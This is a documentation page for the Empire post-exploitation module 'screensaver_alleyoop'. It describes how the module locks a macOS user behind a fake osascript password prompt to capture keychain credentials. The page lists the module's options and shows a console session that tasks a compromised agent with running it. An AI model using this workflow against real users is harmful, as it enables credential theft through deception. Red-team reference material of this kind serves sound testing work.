ScreensaverAlleyOop - Empire Module


This page contains detailed information about how to use the python/collection/osx/screensaver_alleyoop Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: ScreensaverAlleyOop
Module: python/collection/osx/screensaver_alleyoop
Source code: empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml
MITRE ATT&CK: T1113
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The screensaver_alleyoop module launches a screensaver with a prompt for credentials with osascript. This locks the user out until the password can unlock the user keychain. This allows you to prevent Sudo/su failed logon attempts. (credentials till I get them!).

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the screensaver_alleyoop module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the screensaver_alleyoop module:

Agent
Agent to execute module on.

ExitCount
Exit Screensaver after # of attempts.
Default value: 15.

Verbose
Agent to execute module on.
Default value: False.

Screensaver_alleyoop Example Usage

Here's an example of how to use the screensaver_alleyoop module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/collection/osx/screensaver_alleyoop

 Author       @FuzzyNop                                                            
              @harmj0y                                                             
              @enigma0x3                                                           
              @Killswitch-GUI                                                      
 Background   False                                                                
 Comments     https://github.com/fuzzynop/FiveOnceInYourLife                       
              https://github.com/enigma0x3/Invoke-LoginPrompt                      
 Description  Launches a screensaver with a prompt for credentials with osascript. 
              This locks the user out until the password can unlock the user       
              keychain. This allows you to prevent Sudo/su failed logon attempts.  
              (credentials till I get them!)                                       
 Language     python                                                               
 Name         python/collection/osx/screensaver_alleyoop                           
 NeedsAdmin   False                                                                
 OpsecSafe    False                                                                
 Techniques   http://attack.mitre.org/techniques/T1113                             


,Record Options-----,----------,-----------------------------,
| Name      | Value | Required | Description                 |
|-----------|-------|----------|-----------------------------|
| Agent     |       | True     | Agent to execute module on. |
|-----------|-------|----------|-----------------------------|
| ExitCount | 15    | True     | Exit Screensaver after # of |
|           |       |          | attempts                    |
|-----------|-------|----------|-----------------------------|
| Verbose   | False | True     | Agent to execute module on. |
'-----------'-------'----------'-----------------------------'

(Empire: usemodule/python/collection/osx/screensaver_alleyoop) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/osx/screensaver_alleyoop) > set ExitCount 15
[*] Set ExitCount to 15
(Empire: usemodule/python/collection/osx/screensaver_alleyoop) > set Verbose False
[*] Set Verbose to False
(Empire: usemodule/python/collection/osx/screensaver_alleyoop) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.